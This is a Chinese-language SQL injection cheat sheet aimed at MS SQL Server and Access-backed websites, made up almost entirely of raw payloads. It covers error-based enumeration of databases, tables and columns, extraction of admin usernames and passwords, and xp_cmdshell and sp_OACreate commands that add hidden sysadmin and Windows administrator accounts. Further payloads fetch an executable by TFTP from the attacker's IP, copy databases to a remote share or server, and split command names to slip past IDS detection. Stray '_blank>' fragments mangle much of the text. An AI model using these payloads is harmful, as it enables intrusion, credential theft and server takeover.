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| 关键词： select blank where name 字段 sysobjects master exec top dbo |
爆库 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交 and 0<>(select top 1 paths from newtable)-- 得到库名（从1到5都是系统的id，6以上才可以判断） and 1=(select name from master.dbo.sysdatabases where dbid=7)-- and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,...)) 来暴出其他的字段 and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用) 得到WEB路径 ;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)=1-- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- ;use ku1;-- ;create table cmd (str image);-- 建立image类型的表cmd 存在xp_blank>_cmdshell的测试过程： ;exec master..xp_blank>_cmdshell dir ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务 exec master..xp_blank>_servicecontrol start, server ; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat 如果被限制则可以。 select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax) 查询构造： SELECT * FROM news WHERE id=... AND topic=... AND ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> select 123;-- ;use master;-- :a or name like fff%;-- 显示有一个叫ffff的用户哈。 and 1<>(select count(email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID 得到第二个表的名字 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- insert into users values( 667,123,123,0xffff)-- insert into users values ( 123, admin--, password, 0xffff)-- ;and user>0 ;and (select count(*) from sysobjects)>0 ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 枚举出数据表名 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 这是将第一个表名更新到aaa的字段处。 读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表，一个个的读出，直到没有为止。 读字段是这样： ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 [获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] [获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件] 绕过IDS的检测[使用变量] ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 1、 开启远程_blank>数据库 基本语法 select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何端口用来连接,比如 select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。 |
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